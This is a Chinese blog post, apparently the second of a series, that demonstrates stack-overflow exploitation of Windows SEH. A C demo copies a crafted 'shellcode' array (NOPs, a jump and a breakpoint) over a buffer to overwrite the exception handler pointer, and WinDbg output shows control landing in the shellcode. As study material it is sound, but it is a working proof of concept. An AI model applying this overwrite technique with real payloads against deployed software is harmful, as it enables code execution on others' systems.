天天看點

棧溢出利用SEH異常處理

    前面一篇blog ​​ <堆溢出(DwordShoot)利用SEH異常處理 >​​ 裡提到了基于堆溢出利用SEH的方式,本文将側重于棧溢出利用SEH異常處理。

    先來看下示例代碼:

#include <windows.h>
#include <stdio.h>

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\xeb\x10" \
          "\x90\x90\x90\x90\x90\x90\x90\xcc" \
          "\x90\x90\x90\x90\x08\x33\x42\x00" \
          "\x90\x90\x90\x90\x90\x90\x90\x90" };

int main()
{
  char buff[8] = {0};
  printf("shellcode:%08x\n",shellcode);
  int i=0,j=0;

  __try
  {
    
    memcpy(buff,shellcode,0x18);
    i/=j;
  }
  __except(1)
  {
    printf("exception handled\n");
  }

  return 0;
}      

程式進入__try/__except塊後,檢視棧中剛形成的異常處理節點和buff的記憶體分布:

0:000> !exchain
0012ff70: SEHOverflow!_except_handler3+0 (00401600)
  CRT scope  0, filter: SEHOverflow!main+92 (004010a2)
                func:   SEHOverflow!main+98 (004010a8)
0012ffb0: SEHOverflow!_except_handler3+0 (00401600)
  CRT scope  0, filter: SEHOverflow!mainCRTStartup+f8 (004017d8)
                func:   SEHOverflow!mainCRTStartup+113 (004017f3)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> dd buff L1
0012ff60  00000000      

目前異常處理節點

_EXCEPTION_REGISTRATION_RECORD位于0x12ff70,buff位于0x12ff60,兩者相距0x10B。換言之,隻要往buff中拷貝超過0x10B位元組,就能覆寫異常處理節點。但要修改

_EXCEPTION_REGISTRATION_RECORD!

Handler,使得異常發生時跳進shellcode執行,則至少溢出到0x18B。

前文已經說過_EXCEPTION_REGISTRATION_RECORD!

Handler中存放的是函數指針,指向__except_handler3函數,異常出現時通過(

_EXCEPTION_REGISTRATION_RECORD->

Handler)();語句進入__except_handler3進行處理。為了跳進shellcode執行,需要将

_EXCEPTION_REGISTRATION_RECORD!

Handler中儲存的位址溢出為shellcode的位址。程式運作時,shellcode的位址是0x423308,是以,我向shellcode偏移0x14處填入0x423308,這樣異常出發時即可跳進shellcode執行,如下圖:

異常發生前:

棧溢出利用SEH異常處理

觸發異常:

棧溢出利用SEH異常處理

觸發異常後進入shellcode:

棧溢出利用SEH異常處理
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00423308 edx=77f833b4 esi=00000000 edi=00000000
eip=00423308 esp=0012fb48 ebp=0012fb68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SEHOverflow!shellcode:
00423308 90              nop
0:000> u . 
SEHOverflow!shellcode:
00423308 90              nop
00423309 90              nop
0042330a 90              nop
0042330b 90              nop
0042330c 90              nop
0042330d 90              nop
0042330e eb10            jmp     SEHOverflow!shellcode+0x18 (00423320)
00423310 90              nop      

    最後,我們來看下棧溢出後,對異常處理連結清單的影響:

0:000> !exchain
0012fb5c: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SEHOverflow!shellcode+0 (00423308)
Invalid exception stack at 90909090      

可以看到,由于buff溢出覆寫了整個異常處理節點,影響了

_EXCEPTION_REGISTRATION_RECORD!Next的值,是以,整個異常處理連結清單在發生覆寫後就突然斷了。相對的,堆溢出後,僅僅影響的是_EXCEPTION_REGISTRATION_RECORD!Handle部分,比起棧溢出那種大動作,它優雅很多~

繼續閱讀